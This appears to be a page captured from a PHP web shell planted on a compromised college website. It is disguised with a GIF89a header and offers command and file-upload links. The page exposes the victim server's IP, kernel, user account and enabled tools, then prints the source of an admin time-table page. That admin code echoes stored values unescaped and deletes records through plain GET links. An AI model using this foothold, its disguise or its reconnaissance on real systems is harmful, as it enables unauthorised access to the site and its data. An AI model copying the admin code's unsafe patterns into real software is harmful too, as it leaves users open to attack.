GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 13.58.61.197
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../jnclnmu/admin/committee/../press/../slider/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../jnclnmu/admin/committee/../press/../slider/../time_table.php
<?php include 'headerck.php';?>
	<?php
		include("connection.php");
		$query="select * from time_table";
		$res=mysqli_query($dbCon,$query);
	?>

	

	<div class="page-header page-header-light">
		<div class="breadcrumb-line breadcrumb-line-light header-elements-md-inline">
			<div class="d-flex">
				<div class="breadcrumb">
					<a href="#" class="breadcrumb-item"><i class="icon-stack"></i>Manage Time Table</a>
					<span class="breadcrumb-item active">Time Table</span>
				</div>
				<a href="#" class="header-elements-toggle text-default d-md-none"><i class="icon-more"></i></a>
			</div>
		</div>
	</div>
	<!-- /page header -->

	<div class="row">
		<div class="col-xl-12">
		<!-- Traffic sources -->
			<div class="card">
				<div class="card-header header-elements-inline">
					<h5 class="card-title">Add Time Table</h5>
					<h5 class="card-title" id="msg" style="color:orangered;"></h5>
					<div class="header-elements">
						<div class="list-icons">
							<a class="list-icons-item" data-action="collapse"></a>
							<a class="list-icons-item" data-action="reload" onclick="formrest()"></a>
						</div>
					</div>
				</div>                       
				<form action="all.php" method="post" enctype="multipart/form-data">
				<!--Date :
				<input type="date" name="date"><br><br>
				Attached File : (file shoud be in .pdf formate)
				<input type="file" name="pdf" onchange="validextension(this);"><br><br>
				<input type="submit" name="time-table" value="Upload">-->
				<div class="card-body">
				<div class="form-group">
							<div class="row">
								<div class="col-md-12">
									<label>Session</label>
									<input type="text" name="session" placeholder="Session" class="form-control" />
								</div>
							</div>
						</div>
					
						<div class="form-group">
							<div class="row">
								<div class="col-md-12">
									<input type="date" class="form-control"  name="date" required />
								</div>
							</div>
						</div>
						<div class="form-group">
							<div class="row">
								<div class="col-md-12">
									<label>Upload Pdf File</label>
									<input type="file" name="pdf" placeholder="Pdf File" class="form-control" />
								</div>
							</div>
						</div>
						<div class="text-left">
							<input type="submit" name="time-table" value="Upload">
						</div>
					</form>
					<table class="table datatable-button-init-basic datatable-reorder">
						<thead>
							<tr>
								<th>S.No.</th>
								<th>Notification</th>
								<th>File</th>
								<th>Post Date & Time</th>
								<th>Session</th>
								<th>Action</th>
							</tr>
						</thead>
					<tbody>
						<?php
							$a=1;
							while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
							{
						?>
						<tr>
							<td><?php echo $a;$a++;?></td>
							<td><?php echo $row['time_table_file'];?></td>
							<td><a href="<?php echo $row['time_table_file'];?>" target="_self">Click Here</a></td>
							<td><?php echo $row['added_on'];?></td>
							<td><?php echo $row['session'];?></td>
							<td><a href="del_aqar.php?id=<?php echo $row['t_id'];?>">Delete</a></td>
						</tr>
						<?php
							}
						?>
					</tbody>
					</table>
				</div>
			</div>
		</div>
	</div>

<?php include 'footerck.php';?>

KBHT - 2023